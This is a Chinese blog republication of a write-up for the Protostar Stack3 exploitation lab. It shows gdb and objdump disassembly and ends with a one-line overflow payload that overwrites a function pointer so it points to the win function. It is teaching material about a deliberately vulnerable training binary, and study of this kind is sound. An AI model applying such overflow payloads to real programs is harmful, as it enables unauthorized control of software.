Pwn系列之Protostar靶场 Stack3题解

这篇具有很好参考价值的文章主要介绍了Pwn系列之Protostar靶场 Stack3题解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

(gdb) disass main
Dump of assembler code for function main:
0x08048438 <main+0>:	push   ebp
0x08048439 <main+1>:	mov    ebp,esp
0x0804843b <main+3>:	and    esp,0xfffffff0
0x0804843e <main+6>:	sub    esp,0x60
0x08048441 <main+9>:	mov    DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>:	lea    eax,[esp+0x1c]
0x0804844d <main+21>:	mov    DWORD PTR [esp],eax
0x08048450 <main+24>:	call   0x8048330 <gets@plt>
0x08048455 <main+29>:	cmp    DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>:	je     0x8048477 <main+63>
0x0804845c <main+36>:	mov    eax,0x8048560
0x08048461 <main+41>:	mov    edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>:	mov    DWORD PTR [esp+0x4],edx
0x08048469 <main+49>:	mov    DWORD PTR [esp],eax
0x0804846c <main+52>:	call   0x8048350 <printf@plt>
0x08048471 <main+57>:	mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:	call   eax
0x08048477 <main+63>:	leave  
0x08048478 <main+64>:	ret    
End of assembler dump.

这个比较有意思的是,main函数里定义了一个函数指针,为什么说是函数指针呢?因为在main+61指令中调用了

这个函数指针。栈图和之前的类似,不同的是我们需要修改函数指针指向的地址。

objdump -d stack3

08048424 <win>:
 8048424:	55                   	push   %ebp
 8048425:	89 e5                	mov    %esp,%ebp
 8048427:	83 ec 18             	sub    $0x18,%esp
 804842a:	c7 04 24 40 85 04 08 	movl   $0x8048540,(%esp)
 8048431:	e8 2a ff ff ff       	call   8048360 <puts@plt>
 8048436:	c9                   	leave  
 8048437:	c3                   	ret 

找到了win函数的地址

现在只需要修改函数指针的地址到win函数即可。文章来源地址https://www.toymoban.com/news/detail-417536.html

payload: print 64*"a"+"\x24\x84\x04\x08"

到了这里,关于Pwn系列之Protostar靶场 Stack3题解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 攻防世界_PWN_stack2

    本文通过结合其他师傅的思路以及自己的一些理解完成。希望在记录自己所学知识的同时能够帮助有同样疑惑的人。pwn入门新手一个,如果有说错的地方请师傅们多多包涵 本题关键汇编指令:mov指令和lea指令以及ret指令 mov mov指令的功能是传送数据,它可以把一个操作数的值复

    2024年02月07日
    浏览(40)
  • 【PWN · Stack Smash】[2021 鹤城杯]easyecho

    花式栈溢出——Canary保护是吧?接化发,拿来吧你 目录 前言 一、代码分析 0.保护 1.main函数 2.sub_CF0()函数 (v9指向的函数) 二、Stack Smash过程 0.原理简述  1.条件与准备 2.地址泄露 ①真实地址泄露 ②flag地址泄露 ③argv[0]地址泄露 3.exp 总结  Canary保护,是在栈上插入一段随机

    2024年02月15日
    浏览(46)
  • DozerCTF-PWN题解

    这次比赛一共放了4道pwn题,3道栈上的,比较菜,只会做栈 1.pwn_fclose 开了canary和PIE,并且最后clode(1),clode(2)。不过问题不大,printf格式化字符串,泄露canary和libc地址,然后直接栈溢出getshell即可,注意栈平衡。后面就是执行exec 10,就能拿flag了 2.mid_pwn 禁用了open,read,write和其他

    2024年04月28日
    浏览(37)
  • GDOU-CTF-2023新生赛Pwn题解与反思

    因为昨天学校那边要进行天梯模拟赛,所以被拉过去了。 16点30分结束,就跑回来宿舍开始写。 第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上的WP,自己和他们有点不太一样,比较暴力。 大概17点10的时候,写第三题,可能自己第一次遇到随机数问

    2023年04月17日
    浏览(59)
  • PolarD&N靶场题解

    #PolarDN CTF靶场 1、swp 直接开扫,得到.index.php.swp文件,下载下来。vim -r .index.php.swp 绕过preg_match,preg_match回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。借此绕过areyouok。 payload如下 2、简单rce POS

    2024年02月08日
    浏览(34)
  • [BUUCTF]pwn栏目 warmup_csaw_2016 1的题解和小疑问,欢迎讨论

    首先非常感谢大家阅读我的第一篇。本文章不仅仅是题解,一些细枝末节的小问题也欢迎大家一起解答。 小问题的形式如Qx:xxxxxxx? 欢迎发现小问题并讨论~~ N1nE是本人另外一个名字,目前主要学习pwn方向,此文章以及后续别的文章,如有不当欢迎补充与纠正。 题目来自bu

    2023年04月08日
    浏览(32)
  • vulnhub靶场实战系列(一)之vulnhub靶场介绍

    Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。 我们在学

    2024年02月10日
    浏览(41)
  • DC-3靶场搭建及渗透实战详细过程(DC靶场系列)

    目录 一. 信息收集 1. 主机扫描 2. 端口扫描  3. 目录扫描 4. web页面信息探测 二. 漏洞找查 1. joomscan 2. searchsploit 三. 漏洞利用 1. SQL注入 2. 密码爆破 3. 反弹shell 4. Get交互shell 四. Linux提权 1. 确定操作系统信息 2. 搜索操作系统漏洞 3. 利用exp提权 4. 找查flag 五. 收获总结 1. joomsca

    2023年04月15日
    浏览(83)
  • DC-4靶场搭建及渗透实战详细过程(DC靶场系列)

    目录 一. 信息收集 1. 主机扫描 2. 端口扫描 3. 目录扫描 4. 页面信息探测 二. 渗透过程 1. 用户登入爆破 2. 任意命令执行 3. 反弹shell 4. Linux提权(假) 4. Linux提权(真) 5. 查找flag 三. 收获总结 1. netcat反弹shell命令 2. teehee提权 DC-4靶场下载地址https://www.five86.com/downloads/DC-4.zip 搭

    2024年02月05日
    浏览(43)
  • 红日ATT&CK系列靶场(-)简记

    Step 1》信息收集 nmap 发现80、 3306 nmap -T4 -O 192.168.92.100 访问80端口 dirsearch(御剑)扫描 发现:/phpMyadmin Step 2 》漏洞利用 1.弱口令 http://192.168.92.100/phpMyadmin root/root 登录成功 2.getshell select @@basedir //查绝对路径 into outfile 写马 select \\\'?php eval($_POST[cmd]);?\\\' into outfile \\\'C://绝对路径/shell.

    2024年02月09日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包